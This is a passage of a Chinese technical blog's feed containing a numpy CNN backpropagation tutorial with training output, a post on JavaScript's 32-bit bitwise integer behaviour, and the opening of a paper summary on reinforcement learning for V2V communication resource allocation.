= h // <span class="number">2</span></span><br><span class="line"> new_w = w // <span class="number">2</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(new_h):</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> range(new_w):</span><br><span class="line"> m_region = image[(i * <span class="number">2</span>):(i * <span class="number">2</span> + <span class="number">2</span>), (j * <span class="number">2</span>):(j * <span class="number">2</span> + <span class="number">2</span>)]</span><br><span class="line"> <span class="keyword">yield</span> im_region, i, j</span><br><span class="line"> </span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">backprop</span><span class="params">(self, d_L_d_out)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Performs a backward pass of the maxpool layer.</span></span><br><span class="line"><span class="string"> Returns the loss gradient for this layer's inputs.</span></span><br><span class="line"><span class="string"> - d_L_d_out is the loss gradient for this layer's outputs.</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> d_L_d_input = np.zeros(self.last_input.shape)</span><br><span class="line"> <span class="keyword">for</span> im region, i, j <span class="keyword">in</span> self.iterate_regions(self.last_input):</span><br><span class="line"> h, w, f = im_region.shape</span><br><span class="line"> amax = np.amax(im_region, axis=(<span class="number">0</span>, <span class="number">1</span>))</span><br><span class="line"> <span class="keyword">for</span> i2 <span class="keyword">in</span> range(h):</span><br><span class="line"> <span class="keyword">for</span> j2 <span class="keyword">in</span> range(w):</span><br><span class="line"> <span class="keyword">for</span> f2 <span class="keyword">in</span> range(f):</span><br><span class="line"> <span class="comment"># If this pixel was the max value, copy the gradient to it</span></span><br><span class="line"> <span class="keyword">if</span> im_region[i2, j2, f2] == amax[f2]:</span><br><span class="line"> d_L_d_input[i * <span class="number">2</span> + i2, j * <span class="number">2</span> + j2, f2] = d_L_d_out[i, j, f2]</span><br><span class="line"> <span class="keyword">return</span> d_L_d_input</span><br></pre></td></tr></table></figure><blockquote><p>这个实现是循环的,效率太低了。</p></blockquote><p>Max Pooling的backprop操作到这里就可以了。</p><h1 data-number="5" id="backprop-conv"><span class="header-section-number">5</span> Backprop: Conv</h1><p>卷积层的处理是CNN的网络的核心。还是遵循前例,我们从forward阶段的缓存开始:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Conv3x3</span></span></span><br><span class="line"><span class="class"> # ...</span></span><br><span class="line"><span class="class"> <span class="title">def</span> <span class="title">forward</span><span class="params">(self, input)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Performs a forward pass of the conv layer using the given input.</span></span><br><span class="line"><span class="string"> Returns a 3d numpy array with dimensions (h, w, num_filters).</span></span><br><span class="line"><span class="string"> - input is a 2d numpy array</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> self.last_input = input</span><br><span class="line"></span><br><span class="line"> <span class="comment"># More implementation</span></span><br></pre></td></tr></table></figure><blockquote><p>为了简化操作,我们这里假设Conv层的输入的是2维数组(即通道数为1),这是因为这个Conv层在这里是第一层。在更一般的网络中,位于中间的Conv层的输入应该是一个3位数组(多了一个通道维度)。</p></blockquote><p>我们这里主要关心损失关于Filter的梯度。MaxPool层已经提供了Conv层的<span class="math inline">\(\partial L / \partial o u t\)</span>,所以这里我们只需要计算<span class="math inline">\(\partial o u t / \partial f i l t e r s\)</span>。要理清这个梯度的计算方法,我们首先来考虑这个问题:如果我们修改Filter的参数,这会如何影响到Conv层的输出呢?</p><p>事实上修改任意Filter参数都会导致整个输出矩阵(图像)的改变。为了简化问题,我们只考虑输出的一个像素。修改Filter会对一个特定的像素产生什么影响呢?我们来看下面这个非常简单的例子:</p><p><img src="https://imgs.codewoody.com/uploads/big/0b9a79552e8bf9951c07d031c8f918c4.png"></p><p>我们有一个 <span class="math inline">\(3 \times 3\)</span>的图像,使用一个 <span class="math inline">\(3 \times 3\)</span> 的Filter来产生一个<span class="math inline">\(1 \times 1\)</span>的输出。如果我们将Filter中心的数字修改为1,那么输出会成为:</p><p><img src="https://imgs.codewoody.com/uploads/big/5b827a34812d898a22fa9921d2e17ea1.png"></p><p>细想不难发现,一个输出像素对于一个Filter元素的微分,正是输入图像对应位置上的像素灰度值。用公式表示是:</p><p><span class="math display">\[\begin{aligned}\operatorname{out}(\mathrm{i}, \mathrm{j}) &=\text { convolve(image, filter }) \\&=\sum_{x=0}^{3} \sum_{y=0}^{3} \operatorname{image}(i+x, j+y) * \text { filter }(x, y) \\& \frac{\partial \operatorname{out}(i, j)}{\partial \operatorname{filter}(x, y)}=\operatorname{image}(i+x, j+y)\end{aligned}\]</span></p><p>那么对于完整的图像来说,</p><p><span class="math display">\[\frac{\partial L}{\partial \text { filter }(x, y)}=\sum_{i} \sum_{j} \frac{\partial L}{\partial \text { out }(i, j)} * \frac{\partial \text { out }(i, j)}{\partial \text { filter }(x, y)}\]</span></p><p>这样我们就可以做代码实现了:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Conv3x3</span></span></span><br><span class="line"><span class="class"> # ...</span></span><br><span class="line"><span class="class"> <span class="title">def</span> <span class="title">iterate_regions</span><span class="params">(self, image)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Generates all possible 3x3 image regions using valid padding.</span></span><br><span class="line"><span class="string"> - image is a 2d numpy array.</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> h, w = image.shape</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(h - <span class="number">2</span>):</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> range(w - <span class="number">2</span>):</span><br><span class="line"> im_region = image[i:(i + <span class="number">3</span>), j:(j + <span class="number">3</span>)]</span><br><span class="line"> <span class="keyword">yield</span> im_region, i, j</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">backprop</span><span class="params">(self, d_L_d_out, learn_rate)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Performs a backward pass of the conv layer.</span></span><br><span class="line"><span class="string"> - d_L_d_out is the loss gradient for this layer's outputs.</span></span><br><span class="line"><span class="string"> - learn_rate is a float.</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> d_L_d_filters = np.zeros(self.filters.shape)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> im_region, i, j <span class="keyword">in</span> self.iterate_regions(self.last_input):</span><br><span class="line"> <span class="keyword">for</span> f <span class="keyword">in</span> range(self.num_filters):</span><br><span class="line"> d_L_d_filters[f] += d_L_d_out[i, j, f] * im_region</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Update filters</span></span><br><span class="line"> self.filters -= learn_rate * d_L_d_filters</span><br><span class="line"></span><br><span class="line"> <span class="comment"># We aren't returning anything here since we use Conv3x3 as</span></span><br><span class="line"> <span class="comment"># the first layer in our CNN. Otherwise, we'd need to return</span></span><br><span class="line"> <span class="comment"># the loss gradient for this layer's inputs, just like every</span></span><br><span class="line"> <span class="comment"># other layer in our CNN.</span></span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">None</span></span><br></pre></td></tr></table></figure><p>因为Conv层是第一层,所以这里backprop返回的是None。</p><h1 data-number="6" id="训练cnn"><span class="header-section-number">6</span> 训练CNN</h1><p>至此我们的模型完整了。我们可以用下面的代码来训练模型:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> mnist</span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"><span class="keyword">from</span> conv <span class="keyword">import</span> Conv3x3</span><br><span class="line"><span class="keyword">from</span> maxpool <span class="keyword">import</span> MaxPool2</span><br><span class="line"><span class="keyword">from</span> softmax <span class="keyword">import</span> Softmax</span><br><span class="line"></span><br><span class="line"><span class="comment"># We only use the first 1k examples of each set in the interest of time.</span></span><br><span class="line"><span class="comment"># Feel free to change this if you want.</span></span><br><span class="line">train_images = mnist.train_images()[:<span class="number">1000</span>]</span><br><span class="line">train_labels = mnist.train_labels()[:<span class="number">1000</span>]</span><br><span class="line">test_images = mnist.test_images()[:<span class="number">1000</span>]</span><br><span class="line">test_labels = mnist.test_labels()[:<span class="number">1000</span>]</span><br><span class="line"></span><br><span class="line">conv = Conv3x3(<span class="number">8</span>) <span class="comment"># 28x28x1 -> 26x26x8</span></span><br><span class="line">pool = MaxPool2() <span class="comment"># 26x26x8 -> 13x13x8</span></span><br><span class="line">softmax = Softmax(<span class="number">13</span> * <span class="number">13</span> * <span class="number">8</span>, <span class="number">10</span>) <span class="comment"># 13x13x8 -> 10</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">forward</span><span class="params">(image, label)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Completes a forward pass of the CNN and calculates the accuracy and</span></span><br><span class="line"><span class="string"> cross-entropy loss.</span></span><br><span class="line"><span class="string"> - image is a 2d numpy array</span></span><br><span class="line"><span class="string"> - label is a digit</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> <span class="comment"># We transform the image from [0, 255] to [-0.5, 0.5] to make it easier</span></span><br><span class="line"> <span class="comment"># to work with. This is standard practice.</span></span><br><span class="line"> out = conv.forward((image / <span class="number">255</span>) - <span class="number">0.5</span>)</span><br><span class="line"> out = pool.forward(out)</span><br><span class="line"> out = softmax.forward(out)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Calculate cross-entropy loss and accuracy. np.log() is the natural log.</span></span><br><span class="line"> loss = -np.log(out[label])</span><br><span class="line"> acc = <span class="number">1</span> <span class="keyword">if</span> np.argmax(out) == label <span class="keyword">else</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> out, loss, acc</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">train</span><span class="params">(im, label, lr=<span class="number">.005</span>)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Completes a full training step on the given image and label.</span></span><br><span class="line"><span class="string"> Returns the cross-entropy loss and accuracy.</span></span><br><span class="line"><span class="string"> - image is a 2d numpy array</span></span><br><span class="line"><span class="string"> - label is a digit</span></span><br><span class="line"><span class="string"> - lr is the learning rate</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> <span class="comment"># Forward</span></span><br><span class="line"> out, loss, acc = forward(im, label)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Calculate initial gradient</span></span><br><span class="line"> gradient = np.zeros(<span class="number">10</span>)</span><br><span class="line"> gradient[label] = <span class="number">-1</span> / out[label]</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Backprop</span></span><br><span class="line"> gradient = softmax.backprop(gradient, lr)</span><br><span class="line"> gradient = pool.backprop(gradient)</span><br><span class="line"> gradient = conv.backprop(gradient, lr)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> loss, acc</span><br><span class="line"></span><br><span class="line">print(<span class="string">'MNIST CNN initialized!'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Train the CNN for 3 epochs</span></span><br><span class="line"><span class="keyword">for</span> epoch <span class="keyword">in</span> range(<span class="number">3</span>):</span><br><span class="line"> print(<span class="string">'--- Epoch %d ---'</span> % (epoch + <span class="number">1</span>))</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Shuffle the training data</span></span><br><span class="line"> permutation = np.random.permutation(len(train_images))</span><br><span class="line"> train_images = train_images[permutation]</span><br><span class="line"> train_labels = train_labels[permutation]</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Train!</span></span><br><span class="line"> loss = <span class="number">0</span></span><br><span class="line"> num_correct = <span class="number">0</span></span><br><span class="line"> <span class="keyword">for</span> i, (im, label) <span class="keyword">in</span> enumerate(zip(train_images, train_labels)):</span><br><span class="line"> <span class="keyword">if</span> i > <span class="number">0</span> <span class="keyword">and</span> i % <span class="number">100</span> == <span class="number">99</span>:</span><br><span class="line"> print(</span><br><span class="line"> <span class="string">'[Step %d] Past 100 steps: Average Loss %.3f | Accuracy: %d%%'</span> %</span><br><span class="line"> (i + <span class="number">1</span>, loss / <span class="number">100</span>, num_correct)</span><br><span class="line"> )</span><br><span class="line"> loss = <span class="number">0</span></span><br><span class="line"> num_correct = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"> l, acc = train(im, label)</span><br><span class="line"> loss += l</span><br><span class="line"> num_correct += acc</span><br><span class="line"></span><br><span class="line"><span class="comment"># Test the CNN</span></span><br><span class="line">print(<span class="string">'\n--- Testing the CNN ---'</span>)</span><br><span class="line">loss = <span class="number">0</span></span><br><span class="line">num_correct = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> im, label <span class="keyword">in</span> zip(test_images, test_labels):</span><br><span class="line"> _, l, acc = forward(im, label)</span><br><span class="line"> loss += l</span><br><span class="line"> num_correct += acc</span><br><span class="line"></span><br><span class="line">num_tests = len(test_images)</span><br><span class="line">print(<span class="string">'Test Loss:'</span>, loss / num_tests)</span><br><span class="line">print(<span class="string">'Test Accuracy:'</span>, num_correct / num_tests)</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">MNIST CNN initialized!</span><br><span class="line">--- Epoch 1 ---</span><br><span class="line">[Step 100] Past 100 steps: Average Loss 2.254 | Accuracy: 18%</span><br><span class="line">[Step 200] Past 100 steps: Average Loss 2.167 | Accuracy: 30%</span><br><span class="line">[Step 300] Past 100 steps: Average Loss 1.676 | Accuracy: 52%</span><br><span class="line">[Step 400] Past 100 steps: Average Loss 1.212 | Accuracy: 63%</span><br><span class="line">[Step 500] Past 100 steps: Average Loss 0.949 | Accuracy: 72%</span><br><span class="line">[Step 600] Past 100 steps: Average Loss 0.848 | Accuracy: 74%</span><br><span class="line">[Step 700] Past 100 steps: Average Loss 0.954 | Accuracy: 68%</span><br><span class="line">[Step 800] Past 100 steps: Average Loss 0.671 | Accuracy: 81%</span><br><span class="line">[Step 900] Past 100 steps: Average Loss 0.923 | Accuracy: 67%</span><br><span class="line">[Step 1000] Past 100 steps: Average Loss 0.571 | Accuracy: 83%</span><br><span class="line">--- Epoch 2 ---</span><br><span class="line">[Step 100] Past 100 steps: Average Loss 0.447 | Accuracy: 89%</span><br><span class="line">[Step 200] Past 100 steps: Average Loss 0.401 | Accuracy: 86%</span><br><span class="line">[Step 300] Past 100 steps: Average Loss 0.608 | Accuracy: 81%</span><br><span class="line">[Step 400] Past 100 steps: Average Loss 0.511 | Accuracy: 83%</span><br><span class="line">[Step 500] Past 100 steps: Average Loss 0.584 | Accuracy: 89%</span><br><span class="line">[Step 600] Past 100 steps: Average Loss 0.782 | Accuracy: 72%</span><br><span class="line">[Step 700] Past 100 steps: Average Loss 0.397 | Accuracy: 84%</span><br><span class="line">[Step 800] Past 100 steps: Average Loss 0.560 | Accuracy: 80%</span><br><span class="line">[Step 900] Past 100 steps: Average Loss 0.356 | Accuracy: 92%</span><br><span class="line">[Step 1000] Past 100 steps: Average Loss 0.576 | Accuracy: 85%</span><br><span class="line">--- Epoch 3 ---</span><br><span class="line">[Step 100] Past 100 steps: Average Loss 0.367 | Accuracy: 89%</span><br><span class="line">[Step 200] Past 100 steps: Average Loss 0.370 | Accuracy: 89%</span><br><span class="line">[Step 300] Past 100 steps: Average Loss 0.464 | Accuracy: 84%</span><br><span class="line">[Step 400] Past 100 steps: Average Loss 0.254 | Accuracy: 95%</span><br><span class="line">[Step 500] Past 100 steps: Average Loss 0.366 | Accuracy: 89%</span><br><span class="line">[Step 600] Past 100 steps: Average Loss 0.493 | Accuracy: 89%</span><br><span class="line">[Step 700] Past 100 steps: Average Loss 0.390 | Accuracy: 91%</span><br><span class="line">[Step 800] Past 100 steps: Average Loss 0.459 | Accuracy: 87%</span><br><span class="line">[Step 900] Past 100 steps: Average Loss 0.316 | Accuracy: 92%</span><br><span class="line">[Step 1000] Past 100 steps: Average Loss 0.460 | Accuracy: 87%</span><br><span class="line"></span><br><span class="line">--- Testing the CNN ---</span><br><span class="line">Test Loss: 0.5979384893783474</span><br><span class="line">Test Accuracy: 0.78</span><br></pre></td></tr></table></figure><p>执行输出如上。可以看到最后我们在测试集合上取得了78%的精度。</p><blockquote><p>注意到在训练集上的精度显著高于在测试集合上的精度,这说明出现了过拟合。</p></blockquote>]]></content>
<summary type="html">
<p>原文地址是: <a href="https://towardsdatascience.com/training-a-convolutional-neural-network-from-scratch-2235c2a25754" target="_blank" rel="noopener">Training a Convolutional Neural Network from scratch</a>。原文的撰写时间是2019年6月7日。</p>
<p>在这篇文章中,我们将会深入了解卷积神经网络(Convolutional Neural Networks, CNN),重点是如何训练一个卷积神经网络。这篇文章会教你如何推导梯度,实现backprop过程(只使用numpy),并最终建立起一个完整的训练的工作流。这里我们架设你对于什么是卷积神经网络有一个基础的了解。如果你还缺乏最基本的知识,可以阅读原文作者的<a href="https://victorzhou.com/blog/intro-to-cnns-part-1/" target="_blank" rel="noopener">文章</a>。同时文章中部分地方还假定你对于多元微积分有一定的了解<span class="foot-note-span">【基本上你好好上过大学的高等数学应该就能理解】</span>。</p>
</summary>
<category term="教程" scheme="http://www.codewoody.com/categories/%E6%95%99%E7%A8%8B/"/>
<category term="翻译" scheme="http://www.codewoody.com/tags/%E7%BF%BB%E8%AF%91/"/>
<category term="python" scheme="http://www.codewoody.com/tags/python/"/>
<category term="ml" scheme="http://www.codewoody.com/tags/ml/"/>
<category term="机器学习" scheme="http://www.codewoody.com/tags/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/"/>
</entry>
<entry>
<title>Javascript中的整型问题</title>
<link href="http://www.codewoody.com/posts/26817/"/>
<id>http://www.codewoody.com/posts/26817/</id>
<published>2020-02-27T08:21:42.000Z</published>
<updated>2020-03-22T17:25:00.486Z</updated>
<content type="html"><![CDATA[<p>这两天在写 Electron 的时候发现了一个很诡异的错误。程序前两天测试的时候没有问题,今天突然不行了。检查代码发现错误原因是这样的:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">buf.writeUint32BE(now & <span class="number">0xffffffff</span>, idx)</span><br></pre></td></tr></table></figure><p>其中<code>buf</code>是一个<code>Buffer</code>对象,<code>now</code>是一个时间戳,为一个较大的整数。这行代码的目的是将时间戳的低 32 位写入 <code>buf</code>。不过,当<code>now</code>的第三十二位(自低向高)为 1 时,<code>now & 0xffffffff</code>出来的会是负数,这样在<code>writeUint32BE</code>的检查中就会报错,因为这个函数不允许写入负数。</p><p><code>now</code>的位数显然超过了 32 比特,如果在一些类型比较强的语言里面,应该会被视为一个64位整数。那么做位运算之后应该还是一个64位整数。上面这个错误说明在Js中,一个64位整型的数字在位运算之后得到的却是一个32位有符号数。是否是<code>0xffffffff</code>限制了输出的位数呢?</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">> a = <span class="number">0xffffffff</span></span><br><span class="line"><span class="number">68719476735</span></span><br><span class="line">> a & <span class="number">0x00000000ffffffff</span></span><br><span class="line"><span class="number">-1</span></span><br></pre></td></tr></table></figure><blockquote><p>0xffffffff 当做32位有符号数就是-1</p></blockquote><p>可见我们用64位的mask去做位运算得到的还是32位有符号数。</p><p>这种乱象的根本原因是,js实际上是使用 <a href="https://en.wikipedia.org/wiki/IEEE_754" target="_blank" rel="noopener">IEEE-754 浮点数</a>来表示所有的数字的,包括整型也是用浮点数来表示的。另外,在js中,位运算的输出总是被当做有符号32位数字<a href="https://stackoverflow.com/questions/15517646/how-are-32-bit-javascript-numbers-resulting-from-a-bit-wise-operation-converted" target="_blank" rel="noopener">source</a>。为了摒除这两个因素的影响,我们就无法用位运算来提取低32位的内容,而应该转而使用取余运算:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">> > a = <span class="number">0xffffffff</span></span><br><span class="line"><span class="number">68719476735</span></span><br><span class="line">> mask = <span class="built_in">Math</span>.pow(<span class="number">2</span>, <span class="number">32</span>)</span><br><span class="line"><span class="number">4294967296</span></span><br><span class="line">> lower_32_bits = a % mask</span><br><span class="line"><span class="number">4294967295</span></span><br></pre></td></tr></table></figure><p>其中<code>4294967296 = 0x1000000000</code>, <code>4294967295=0xffffffff</code>。</p>]]></content>
<summary type="html">
<p>这两天在写 Electron 的时候发现了一个很诡异的错误。程序前两天测试的时候没有问题,今天突然不行了。检查代码发现错误原因是这样的:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre>
</summary>
<category term="编程研究" scheme="http://www.codewoody.com/categories/%E7%BC%96%E7%A8%8B%E7%A0%94%E7%A9%B6/"/>
<category term="js" scheme="http://www.codewoody.com/tags/js/"/>
</entry>
<entry>
<title>读论文-增强学习与车联网通信资源分配</title>
<link href="http://www.codewoody.com/posts/34309/"/>
<id>http://www.codewoody.com/posts/34309/</id>
<published>2020-02-24T04:15:59.000Z</published>
<updated>2020-03-30T18:14:19.426Z</updated>
<content type="html"><![CDATA[<h1 data-number="1" id="概述"><span class="header-section-number">1</span> 概述</h1><p>本次要读的论文是<a href="https://ieeexplore.ieee.org/document/8633948" target="_blank" rel="noopener">Deep Reinforcement Learning Based Resource Allocation for V2V Communications</a>,是 TVT 上的Popular Articles 中的第一篇。主要讲的内容是用增强学习(或者叫强化学习)来做 V2V 通信的资源分配。目前使用强化学习来做<strong>分布式</strong>的资源分配方案是一种比较流行的做法。使用强化学习做资源分配不要求决策者掌握全局信息。</p><p>对于任何一个「资源分配」机制来说,首先要明确定义待分配的资源是何种形式,以及执行分配的主体为何。在文章的 Abstract 中提到,分配的资源是:</p><blockquote><p><i>An autonomous "agent", a V2V link or a vehicle, make its decisions to find the optimal sub-band and power-level for transmission without requiring or having to wait for global information. ... . each agent can effectively learn to satisfy the stringent latency constraints on V2V links while minimizing the interference to vehicle-to-infrastructure communications.</i></p></blockquote><p>从上面的论述我们可以总结如下的信息:</p><ol type="1"><li>执行资源分配的主体是一条通信链路或者一个通信节点</li><li>待分配的资源的形式是Sub-band(可以理解为可用信道)和发射功率。发射功率直接与通信范围相关。调节通信范围是进行空分复用的一种方式</li><li>资源分配的目标是满足延时要求,以及最小化 V2I 通信需求</li><li>这里车间通信使用的是 5G D2D</li></ol><h1 data-number="2" id="研究背景"><span class="header-section-number">2</span> 研究背景</h1><p>传统的资源分配方式一般是中心式的。这种分配方式要求从每个节点收集局部网络信息(链路状态和干扰信息)。在调度中心,资源分配问题被建模为一个优化问题,限制条件为V2V通信的QoS要求。不过这种优化问题一般是 NP 难问题。这种问题一般会用一些启发式算法来求局部最优解或者次优解。这类方法的首要问题是信息收集汇总的过程开销太大了,且随着网络规模的扩大会显著地增长。故这篇文章寻求使用分布式的分配方案。</p><p>现存的一些分布式的资源分配方式的问题是他们考虑的一般是单播通信(Unicast),而非广播过程。广播通信模式中的广播风暴也是资源分配机制需要考虑的问题。传统的方法一般用随机转发或者是基于拓扑信息管理转发的方法来解决这个问题。</p><p>上面讨论的是中心时和分布式的资源分配方式存在的问题。下面讨论的是更加细节的问题。</p><p>在现有的研究中,V2V链路的QoS值包含了SINR这一个指标,延时限制这个指标不太好建模进入优化问题,因此没有被充分考虑。</p><p>为了解决上述这些问题,作者提出使用深度增强学习来解决单播和广播通信中的资源分配问题。作者主要用深度增强学习来研究从本地观测量,如CSI(信道状态信息),干扰水平等,和资源分配和调度方案之间的映射关系。在单播通信中,每个V2V链路被视为一个agent(代理),频谱和传输功率为待控制的量。在广播通信中,每个节点被视为一个agent,待控制量为频谱和消息(messages)。Observation, action还有reward function都根据单播和广播做了单独的设计。</p><h1 data-number="3" id="系统模型unicast"><span class="header-section-number">3</span> 系统模型(Unicast)</h1><p><img src="https://imgs.codewoody.com/uploads/big/e98332816ed0c02b3cd7e6e8185d676a.png"></p><p>如上图所示,车联网中包含 <span class="math inline">\(M\)</span> 个基站用户(CUEs),标记为<span class="math inline">\(\mathcal{M} = \{1, 2, \dots, M\}\)</span>以<span class="math inline">\(K\)</span>对V2V用户(VUEs),记为<span class="math inline">\(\mathcal{K} = \{1, 2, \dots, K\}\)</span>,CUEs需要V2I链路来支撑和基站(BS)的通信,而VUEs需要V2V连接来共享交通安全管理相关的信息。为了改善频谱利用效率,我们假设为V2I上行链路正交分配的频谱是和V2V链路共享的,这是因为在基站处的干扰情况要更加可控一些,而且上行链路的负载要低很多。</p><p>第<span class="math inline">\(m^{th}\)</span>个CUE的SINR为</p><p><span class="math display">\[\gamma^{c}[m] = \frac{P_m^c h_m}{\sigma^2 + \sum_{k \in \mathcal{K}}\rho_k[m]P_{k}^{v}h_k}\]</span></p><p>其中<span class="math inline">\(P_{m}^c\)</span>和<span class="math inline">\(P_{k}^{v}\)</span>表示第<span class="math inline">\(m^{th}\)</span>个CUE和第<span class="math inline">\(k^{th}\)</span>个VUE设备的发射功率,<span class="math inline">\(\sigma^2\)</span>为噪声功率,<span class="math inline">\(h_m\)</span>为对<span class="math inline">\(m^{th}\)</span>CUE的信道增益。<span class="math inline">\(\rho_{k}[m]\)</span>为表示频谱分配的指示函数。如果<span class="math inline">\(k^{th}\)</span> VUE使用了<span class="math inline">\(m^{th}\)</span> CUE的频谱,那么<span class="math inline">\(\rho_k[m] = 1\)</span>。那么根据香农定义,<span class="math inline">\(m^{th}\)</span> CUE的信道容量是</p><p><span class="math 